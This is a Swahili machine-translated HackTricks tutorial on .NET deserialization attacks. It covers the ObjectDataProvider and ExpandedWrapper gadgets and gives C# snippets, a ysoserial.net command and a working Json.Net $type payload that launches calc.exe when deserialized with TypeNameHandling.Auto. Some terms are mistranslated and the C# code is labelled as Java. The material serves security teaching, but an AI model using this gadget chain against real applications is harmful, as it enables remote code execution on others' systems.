hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

# Msingi wa deserialization ya .Net (gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net)

<details>

<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

Machapisho haya yanajitolea kuelewa jinsi **gadget ya ObjectDataProvider inavyotumiwa** kupata RCE na **jinsi** maktaba za **Serialization kama Json.Net na xmlSerializer zinavyoweza kutumiwa vibaya** na gadget hiyo.

## Gadget ya ObjectDataProvider

Kutoka kwenye nyaraka: _Darasa la ObjectDataProvider hufunga na kuunda kitu unachoweza kutumia kama chanzo cha kufunga_.\
Ndio, ni maelezo ya ajabu, kwa hivyo tutaona kipi kinafanya darasa hili kiwe cha kuvutia: Darasa hili linaruhusu **kufunga kitu cha kupendelea**, kutumia _**MethodParameters**_ kuweka **parameta za kupendelea,** na kisha **tumia MethodName kuita kazi ya kupendelea** ya kitu cha kupendelea kilichotangazwa kwa kutumia parameta za kupendelea.\
Kwa hivyo, **kitu cha kupendelea** kitafanya **kazi** na **kazi** na **parameta wakati wa deserialization.**

### **Hii inawezekanaje**

Jina la **System.Windows.Data**, lililopatikana ndani ya **PresentationFramework.dll** kwenye `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ndio mahali ambapo ObjectDataProvider inafafanuliwa na kutekelezwa.

Kwa kutumia [**dnSpy**](https://github.com/0xd4d/dnSpy) unaweza **kupekua msimbo** wa darasa tunalovutiwa nalo. Katika picha hapa chini tunauona msimbo wa **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Jina la kazi**

![](<../../.gitbook/assets/image (427).png>)

Kama unavyoweza kuona wakati `MethodName` inawekwa `base.Refresh()` inaitwa, hebu tuangalie inafanya nini:

![](<../../.gitbook/assets/image (319).png>)

Sawa, tuendelee kuona inafanya nini `this.BeginQuery()`. `BeginQuery` inabadilishwa na `ObjectDataProvider` na hii ndio inayofanya:

![](<../../.gitbook/assets/image (345).png>)

Tambua kuwa mwishoni mwa msimbo inaita `this.QueryWorke(null)`. Hebu tuone inafanya nini:

![](<../../.gitbook/assets/image (596).png>)

Tambua kuwa huu si msimbo kamili wa kazi ya `QueryWorker` lakini unaonyesha sehemu ya kuvutia: Msimbo **unaita `this.InvokeMethodOnInstance(out ex);`** hii ndio mstari ambapo **kazi iliyowekwa inaitwa**.

Ikiwa unataka kuhakikisha kuwa kwa kuweka _**MethodName**_\*\* itatekelezwa\*\*, unaweza kukimbia msimbo huu:
```java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Tafadhali kumbuka unahitaji kuongeza kama kumbukumbu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ ili kupakia `System.Windows.Data`

## ExpandedWrapper

Kutumia shambulio lililopita kutakuwa na hali ambapo **kitu** kitakuwa **kimefanyiwa deserialization kama** kipengele cha _**ObjectDataProvider**_ (kwa mfano katika udhaifu wa DotNetNuke, kutumia XmlSerializer, kitu kilifanyiwa deserialization kwa kutumia `GetType`). Kisha, **hakutakuwa na ufahamu wa aina ya kitu kilichofungwa** katika kipengele cha _ObjectDataProvider_ (kama vile `Process`). Unaweza kupata habari zaidi [kuhusu udhaifu wa DotNetNuke hapa](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).

Darasa hili linaruhusu **kutaja aina za vitu** ambavyo vimefungwa katika kipengele kilichopewa. Kwa hivyo, darasa hili linaweza kutumika kufunga chanzo cha kitu (_ObjectDataProvider_) katika aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\
Hii ni muhimu sana kwa hali kama ile iliyowasilishwa hapo awali, kwa sababu tutaweza **kufunga _ObjectDataProvider_** ndani ya kipengele cha _**ExpandedWrapper**_ na **wakati wa deserialization** darasa hili litasababisha kitu cha _**OjectDataProvider**_ ambacho kitatekeleza **kazi** iliyotajwa katika _**MethodName**_.

Unaweza kuangalia kifungashio hiki na nambari ifuatayo:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net

Kwenye [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kuwa maktaba hii inaruhusu **Kutunga na kusahihisha kitu chochote cha .NET na serializer yenye nguvu ya JSON ya Json.NET**. Kwa hivyo, ikiwa tunaweza **kusahihisha kifaa cha ObjectDataProvider**, tunaweza kusababisha **RCE** kwa kusahihisha kitu. 

### Mfano wa Json.Net

Kwanza kabisa tuchunguze mfano wa jinsi ya **kusahihisha/kusahihisha** kitu kutumia maktaba hii:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Kutumia Json.Net

Kwa kutumia [ysoserial.net](https://github.com/pwntester/ysoserial.net) niliumba shambulizi:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Katika msimbo huu unaweza **jaribu kudukua**, tu endesha na utaona kwamba kikokotoo kinatekelezwa:
```java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
<details>

<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>